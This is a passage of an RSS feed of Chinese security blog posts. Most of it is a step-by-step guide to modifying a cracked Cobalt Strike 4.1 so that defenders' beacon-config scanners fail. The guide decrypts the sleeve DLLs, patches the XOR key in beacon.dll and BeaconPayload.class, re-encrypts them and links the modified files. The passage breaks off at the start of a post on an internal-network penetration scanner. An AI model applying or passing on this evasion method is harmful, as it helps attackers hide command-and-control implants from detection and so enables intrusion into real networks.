2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">代码排版转换有点乱，有需求点击查看原文</h4><p><br/></p>



<p><a href="https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7525b2cd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484707%26idx%3D1%26sn%3Dbcabbe88149c701b10707ad71572d927%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 30 Dec 2020 08:48:00 +0800</pubDate>
    </item>
    <item>
      <title>Bypass cobaltstrike beacon config scan</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484689&amp;idx=1&amp;sn=8cf9c031f3d926c155ee5c018941b416</link>
      <description>拿起你的IDA跟我一起bypass cobaltstrike beacon config scan吧</description>
      <content:encoded><![CDATA[<p>
原创 <span>归零</span> <span>2020-12-05 10:03</span> <span style="display: inline-block;"></span>
</p>

<p>拿起你的IDA跟我一起bypass cobaltstrike beacon config scan吧</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5b68a7dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344R7TIFFvfSkAcenlkDia09kxTOHZD2xvYv5ZfzuXXJT7e1iaWg6CdchzKQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><strong>前言</strong></p><p>		近日，360的团队将cobaltstrike stage 
uri的特征公开了，这着实令我有些感叹，做了我们想做但不敢做的事情。关于对抗方面，我目前看到的都是从stage uri着手，今天将从另一个角度给大家分享一下如何bypass beacon config scan。</p><p><br/></p><p><strong>beacon检测原理</strong></p><p>		stager uri的验证规则如下：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.7294303797468354" data-s="300,640" style="" data-type="png" data-w="632" src="https://wechat2rss.xlab.app/img-proxy/?k=b44141ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RCUtu5juC7iaAoZx8Z2lS0tPH2viaDbyI7GQWfCbbvZ1x02JDxft85iciaw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		只要传入的uri经过checksum8计算，符合条件的话，就下载对应的stage。</p><p>		而且这一点，在官方文档里其实早有提示：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.18210526315789474" data-s="300,640" style="" data-type="png" data-w="950" src="https://wechat2rss.xlab.app/img-proxy/?k=d8092c83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RqpRFamiaItria4rWv6z1AAvT8KM7B5ibmvb2gfUzggrTibfyLeNZjN2MJQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		而这个stage是经过了一系列异或加密的：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3259668508287293" data-s="300,640" style="" data-type="png" data-w="905" src="https://wechat2rss.xlab.app/img-proxy/?k=0aff8277&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RnxPPQ2uSFKPtCCEPibrknJu5OHdTxLbq1Lx9GWUL8xCb3OV79PGTrXQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		想要分析config需要对其进行解密，这里参考一个老外的脚本：</p><p><a href="https://sysopfb.github.io/malware,/cobaltstrike/2020/03/24/beacon-in-azure.html" target="_blank">https://sysopfb.github.io/malware,/cobaltstrike/2020/03/24/beacon-in-azure.html</a></p><pre></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">import sys,<span class="code-snippet__keyword">struct</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">filename = sys.argv[<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer">data = open(filename, <span class="code-snippet__string">&#39;rb&#39;</span>).read()</span></code><code><span class="code-snippet_outer">t = bytearray(data[<span class="code-snippet__number">0x45</span>:])</span></code><code><span class="code-snippet_outer">(a,b) = <span class="code-snippet__keyword">struct</span>.unpack_from(<span class="code-snippet__string">&#39;&lt;II&#39;</span>, t)</span></code><code><span class="code-snippet_outer">key = a</span></code><code><span class="code-snippet_outer">t2 = t[<span class="code-snippet__number">8</span>:]</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">out</span> = <span class="code-snippet__string">&#34;&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> <span class="code-snippet__title">range</span>(<span class="code-snippet__params">len(t2</span>)/4):</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">    temp</span> = <span class="code-snippet__keyword">struct</span>.unpack_from(<span class="code-snippet__string">&#39;&lt;I&#39;</span>, t2[i*<span class="code-snippet__number">4</span>:])[<span class="code-snippet__number">0</span>]</span></code><code><span class="code-snippet_outer">    temp ^= key</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">out</span> += <span class="code-snippet__keyword">struct</span>.pack(<span class="code-snippet__string">&#39;&lt;I&#39;</span>, temp)</span></code><code><span class="code-snippet_outer">    key ^= <span class="code-snippet__function">temp</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__title">open</span>(<span class="code-snippet__params">filename+<span class="code-snippet__string">&#39;.decoded&#39;</span>, <span class="code-snippet__string">&#39;wb&#39;</span></span>).<span class="code-snippet__title">write</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">out</span></span>)</span></code></pre></section><p>解密后的程序使用另一个老外的脚本可以解析出马子的配置文件：</p><p><a href="https://github.com/Sentinel-One/CobaltStrikeParser" target="_blank">https://github.com/Sentinel-One/CobaltStrikeParser</a></p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6541666666666667" data-s="300,640" style="" data-type="png" data-w="1200" src="https://wechat2rss.xlab.app/img-proxy/?k=b8533a16&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RKCZMziceoBbSm4bZ4gHtaAsNQZBQ0biaquku1nKoDvcnyArCtP0fJJsQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		在代码里我们可以发现，cs 3.x版本的配置信息是通过异或0x69解密出的，4.x版本的配置信息是通过异或0x2e解密出的。</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6118143459915611" data-s="300,640" style="" data-type="png" data-w="948" src="https://wechat2rss.xlab.app/img-proxy/?k=be8a9d78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RI80D0wibp63JRIQvYNictEAa6DUibEgicZySHNj8MYvibS4mvRR3CkNU8pg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		winhex手动异或一下：</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.8613445378151261" data-s="300,640" style="" data-type="png" data-w="714" src="https://wechat2rss.xlab.app/img-proxy/?k=c13c916b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RJ8f48lUDQzLgyEV2D0bItiaPzJ48icj27YfCHwPAia63yAFtMRYSMjiaoA%2F640%3Fwx_fmt%3Dpng"/></p><p>		</p><p>		至此，可以发现，从3.x到4.x，cs自解密的算法没变，自解密后再解密配置文件的算法就只是改了个密钥，而且是固定的（3.x 0x69，4.x 0x2e）。</p><p><br/></p><p><strong>燥起来</strong></p><p>		目前，大家用的cs应该都是4.x了吧，所以配置文件的异或密钥为0x2e，如果我们修改了这个密钥，脚本就不能直接获取到配置信息了。</p><p>		这里以cs4.1为例，给大家讲解一下，如何修改这个密钥。</p><p>		首先在/beacon/BeaconPayload.class里，我们可以看到对应的异或算法，将反编译出的代码copy出来，拷贝到BeaconPayload.java，修改0x2E为0x3E</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.32983508245877063" data-s="300,640" style="" data-type="png" data-w="667" src="https://wechat2rss.xlab.app/img-proxy/?k=869bf4b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344R5AFaibqWz3iceR1ULtf0iaPwzrmibib55nCkeLH6VUaJI3AwX7VCDNRqjng%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		编译：javac -encoding UTF-8 -classpath cobaltstrike.jar BeaconPayload.java</p><p>		报错：</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.28338136407300674" data-s="300,640" style="" data-type="png" data-w="1041" src="https://wechat2rss.xlab.app/img-proxy/?k=23b67fc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344R8icAhP4huVshQfh0sc2Iia4fDDeJDlGbqhsiaMibnHAHkt0bbAKXOjFxOQ%2F640%3Fwx_fmt%3Dpng"/></p><figure><figcaption></figcaption></figure><p>		在161行str1前面加个String：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.10231660231660232" data-s="300,640" style="" data-type="png" data-w="1036" src="https://wechat2rss.xlab.app/img-proxy/?k=3bfdc352&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344Rribmke1GiaGH64wdth6VeBHlm4dia5kybqnmkGI2xPDaPqrQ0BsxgEU7w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		重新编译就好了：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.07591093117408906" data-s="300,640" style="" data-type="png" data-w="988" src="https://wechat2rss.xlab.app/img-proxy/?k=9363c862&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344R9NhT8o8PmzVZ8QQWtdZnic7Hmny6Cg1079FDW7ZpOLZjAiaKicMxfwZDw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		当然，光改这么一个java文件是不行的，接下来的，才是本文的重点。</p><p>		我们知道，cs在生成shellcode的时候，是要依赖一些模板dll的，而要想实现效果，我们就需要对dll进行反编译并修改，但这些dll是经过加密了的，所以我们还得解密一下。<br/></p><p>关于解密，我们可以参考一个脚本：<br/></p><p>		<a href="https://github.com/ca3tie1/CrackSleeve/blob/master/CrackSleeve.java" target="_blank">https://github.com/ca3tie1/CrackSleeve/blob/master/CrackSleeve.java</a></p><p>		这里我们改点代码，加密的时候用cs里的密钥就好了：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b63c5c53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344R3un4J2mQLnzgCDmfGYBlZUbvV2y1vOLpNvoZJsw7hls6lkn1pdDEKQ%2F640%3Fwx_fmt%3Dpng"/><br/></p></figure><p>		而密钥在破解版cs4.1在/common/Authorization.class中直接给出了，所以可以直接拿来用：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.43046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=18d5a58e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344R1Yia9dmdWqnmSGbias1UwPxMahjYhKMcV3iaG3ynxdDPznlzHRFhOicRicg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		然后编译：javac -encoding UTF-8 -classpath cobaltstrike.jar CrackSleeve.java</p><p>		接着decode dll：java -classpath cobaltstrike.jar;./ CrackSleeve decode</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.17459016393442622" data-s="300,640" style="" data-type="png" data-w="1220" src="https://wechat2rss.xlab.app/img-proxy/?k=95dd671b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RNBgCbAVA5oUIMsvGHxstPTqSSgKwMK5GdEQJbOyR1lX8OG0QVKpTJQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		发现报错，不要紧，脚本是提取的cs4.0的代码，所以4.1报错也是很正常的。</p><p>		对比一下代码，发现4.0处理资源的时候，Setup方法中是paramArrayOfByte（认证相关的知识请看文章《Cobaltstrike 
4破解之 我自己给我自己颁发license》<a href="https://mp.weixin.qq.com/s/Pneu8R0zoG0ONyFXF9VLpg）" target="_blank">https://mp.weixin.qq.com/s/Pneu8R0zoG0ONyFXF9VLpg）</a></p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4610169491525424" data-s="300,640" style="" data-type="png" data-w="590" src="https://wechat2rss.xlab.app/img-proxy/?k=5885f1f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344R6pR20icmf7n8cjU18p8z3Lu6MIlIS1xtGkj4ZvT9lRJl4ibb9BtiayBqw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		而4.1中是CommonUtils.readResource(&#34;resources/cobaltstrike.auth&#34;)</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3216704288939052" data-s="300,640" style="" data-type="png" data-w="886" src="https://wechat2rss.xlab.app/img-proxy/?k=91d938a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RpS6Lp2wTfawlYfCGribvp1A5rRh8wUIST34BWHS4xcH6Cj9rqVKUlKQ%2F640%3Fwx_fmt%3Dpng"/><br/></p></figure><p>		于是稍微改下脚本：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.17734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=10026f97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RwrMKzjicibua4IAUNJn4wQGlyurK07e1EHR1aFWSPLNlZV0MqTC70unw%2F640%3Fwx_fmt%3Dpng"/><br/></p></figure><p>		重新编译后解密文件：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4031078610603291" data-s="300,640" style="" data-type="png" data-w="1094" src="https://wechat2rss.xlab.app/img-proxy/?k=e6381fe6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344Rnpjym8XUJVBhrzU5Xc7R9wwkxUOCOTAmVJAz4C9XMDgD8KNqmrOgPw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		不是我说，兄弟，有了ida，还要什么女朋友？？？</p><p>		用ida打开beacon.dll：</p><p>		搜索0x2E，找到xor的地方:</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.52734375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=097e3e8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RuvoXkQOORczPsHD1aatelOt2xoiboRj9PEnicLvegd5LUGw6Pv52gFVA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.32469775474956825" data-s="300,640" style="" data-type="png" data-w="579" src="https://wechat2rss.xlab.app/img-proxy/?k=eb7a25a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RDSfOicddaqAdUnNxqETAQru7UoNRWxdPv36WUFiaLebJfMOPqmLKTC6w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		然后修改字节：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e1638602&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344Rdiaj85vfUf5G6OxZ5icTY8Q4XIxLoRGicvTBcNMVJVtHQFiaujNvqQ72ag%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		把2E改成3E：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.2865090403337969" data-s="300,640" style="" data-type="png" data-w="719" src="https://wechat2rss.xlab.app/img-proxy/?k=0546d2c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RIK7Le3Vcs09BDWbU1tLH6u76kVM4uKia6FxtiaW6q9u2NsgHgsghUekg%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.38992537313432835" data-s="300,640" style="" data-type="png" data-w="536" src="https://wechat2rss.xlab.app/img-proxy/?k=23b3ae60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RyzaLevrvaiaicYZFwrfLMs1vdaW8vLRp7QW8Gp0EoURuhOesLVoutTicg%2F640%3Fwx_fmt%3Dpng"/></p><p>最后别忘了应用：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.57890625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d49a3e43&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RH6wAS3ELy6giaJtNu0l1Rc2nFncxUQmysNCIeUYLP0UsIkpYTbAnb5A%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		除了beacon.dll，还有以下dll（代码看得不仔细，如有漏掉，请务必告知~）：</p><p>		beacon.x64.dll</p><p>		dnsb.dll</p><p>		dnsb.x64.dll</p><p>		pivot.dll</p><p>		pivot.x64.dll</p><p>		extc2.dll</p><p>		extc2.x64.dll</p><p>		由于修改方式都一样，这里就不一一演示了 TaT</p><p>		dll修改完成，我们还需要加密回去：</p><p>		java -classpath cobaltstrike.jar;./ CrackSleeve encode</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.34623655913978496" data-s="300,640" style="" data-type="png" data-w="930" src="https://wechat2rss.xlab.app/img-proxy/?k=a4ca3a50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RZ9EngaM3JPEjycVicP99rLlZMGmQUib6y6gTfvVeWSRGz1FYrNP12b4w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		java文件和dll都改好了，现在将修改后的文件放进cs里，其中dll放进/sleeve里：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.1828125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=866314a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RTFYbCkO4yhJ7OP2aKgYfMImreloYIohCEQUkWgNC6ibEyGiaQvajLeMA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		BeaconPayload.class放进/beacon目录里：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.14375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=5196b3b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RdkdjibicPse60FaElEXGKpYHuahXtYVIZZV7CQibiaFhFInavUL3ibHJZlw%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		启动cs，确定常用的http和https监听器都能用：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.3930024410089504" data-s="300,640" style="" data-type="png" data-w="1229" src="https://wechat2rss.xlab.app/img-proxy/?k=d64b53cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344REnAa2NgjOylE4WibItYoAA03J6ic9c7fcl1bRRe7WLic9ro00PKTr912w%2F640%3Fwx_fmt%3Dpng"/></p><figcaption></figcaption></figure><p>		然后使用grab_beacon_config来检测，在web log里，可以看到，脚本请求了stage的uri，但是没有分析出beacon的配置文件：</p><figure><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.4" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=993493d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvficCDlK9fChqfIiasDxb344RPtXVwwib8ibMsqC8icEmEOgKKibotAcbztCJIkNIBcUPV7GeHEKPjGJazg%2F640%3Fwx_fmt%3Dpng"/><br/></p></figure><p>		此刻，我们通过修改cs代码和dll的方式，bypass了beacon config的检测。</p><p>		改完的文件我传到GitHub了，有兴趣的小伙伴可以自行下载（如有顾虑，可以自己修改）：</p><p>		<a href="https://github.com/qigpig/bypass-beacon-config-scan/" target="_blank">https://github.com/qigpig/bypass-beacon-config-scan/</a></p><p>		以上如有未修改到的地方，请及时与我反馈，共同进步！</p><p>		最后，关注公众号，后期我们会分享更多有意思的内容，包括cobaltstrike其他方面的一些修改。</p><p>		最后的最后，不是我说，兄弟，若有女朋友，还要什么ida？？？</p><p><strong>参考链接</strong></p><p>	[1] <a href="https://www.anquanke.com/post/id/157782" target="_blank">https://www.anquanke.com/post/id/157782</a></p><p>	[2] <a href="https://sysopfb.github.io/malware,/cobaltstrike/2020/03/24/beacon-in-azure.html" target="_blank">https://sysopfb.github.io/malware,/cobaltstrike/2020/03/24/beacon-in-azure.html</a></p><p>	[3] <a href="https://github.com/Sentinel-One/CobaltStrikeParser" target="_blank">https://github.com/Sentinel-One/CobaltStrikeParser</a></p><p>	[4] <a href="https://mp.weixin.qq.com/s/Pneu8R0zoG0ONyFXF9VLpg" target="_blank">https://mp.weixin.qq.com/s/Pneu8R0zoG0ONyFXF9VLpg</a></p><p>	[5] <a href="https://github.com/ca3tie1/CrackSleeve/blob/master/CrackSleeve.java" target="_blank">https://github.com/ca3tie1/CrackSleeve/blob/master/CrackSleeve.java</a></p>



<p><a href="2247484689">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d5b6cb52&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484689%26idx%3D1%26sn%3D8cf9c031f3d926c155ee5c018941b416%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 05 Dec 2020 10:03:00 +0800</pubDate>
    </item>
    <item>
      <title>TailorScan - 自用缝合怪内网扫描器</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484653&amp;idx=1&amp;sn=0816cd8a930110ab94c32c2d4b744eb4</link>
      <description>自用缝合怪内网扫描器，支持端口扫描，识别服务，获取title，扫描多网卡，ms17010扫描，icmp存活探测</description>
      <content:encoded><![CDATA[<p>
原创 <span>uknowsec</span> <span>2020-11-12 17:24</span> <span style="display: inline-block;"></span>
</p>

<p>自用缝合怪内网扫描器，支持端口扫描，识别服务，获取title，扫描多网卡，ms17010扫描，icmp存活探测</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=12c1e7a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvdQcMtJkSH7aJJtOvWmMGf5dCJg2vT6qibWExD1XjS3zVABFHOAlsrGvlw79SW5icyTJ8GJxSBndUOA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">TailorScan</h2><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">扫描是内网渗透的一个主要组成部分，自认为，在内网中CLI与GUI更偏向于CLI。更适用于webshell，CobaltStrike等一些C2工具。同时在编程语言方面，Go更为合适，交叉编译支持多平台兼容性好相较于Python和C#，开发难度较小相较于C/C++。个人需求，在内网更多的是端口扫描，探测存活和ms17010检测这几部分的需求比较多。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">秉着不重复造轮子和能用就行的原则，发现github上大佬的ServerScan满足我在端口扫描上的需求。下面是GitHub给出的介绍</p><ul style="padding-left: 30px;list-style-position: initial;list-style-image: initial;color: rgb(80, 97, 109);font-size: 15px;text-align: start;white-space: normal;margin-top: 6px !important;list-style-type: square !important;" class="list-paddingleft-2"><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">多平台支持（Windows、Mac、Linux、Cobalt Strike）</span></span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">存活IP探测（支持TCP、ICMP两种模式）</span></span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">超快的端口扫描</span></span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">服务和应用版本检测功能，内置指纹探针采用:nmap-service-probes</span></span></p></li><li style="box-sizing: border-box;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">Web服务（http、https）信息探测</span></span></p></li></ul><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">简单就是多平台支持，可识别服务和应用，可获取title。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">起初只是用他进行一些内网的端口扫描，后续因为项目开源，开始在上面加了一些自己常用的功能，例如上面提到的探测网卡，ms17010功能。就有了这个TailorScan（缝合怪扫描器）。再内置了自己常用的一些端口，在内网渗透中还是挺好用的。文件大小UPX压缩后大概4M多，集齐了几个功能，这个文件大小还是可以接受的。</p><h4 style="box-sizing: border-box;margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans 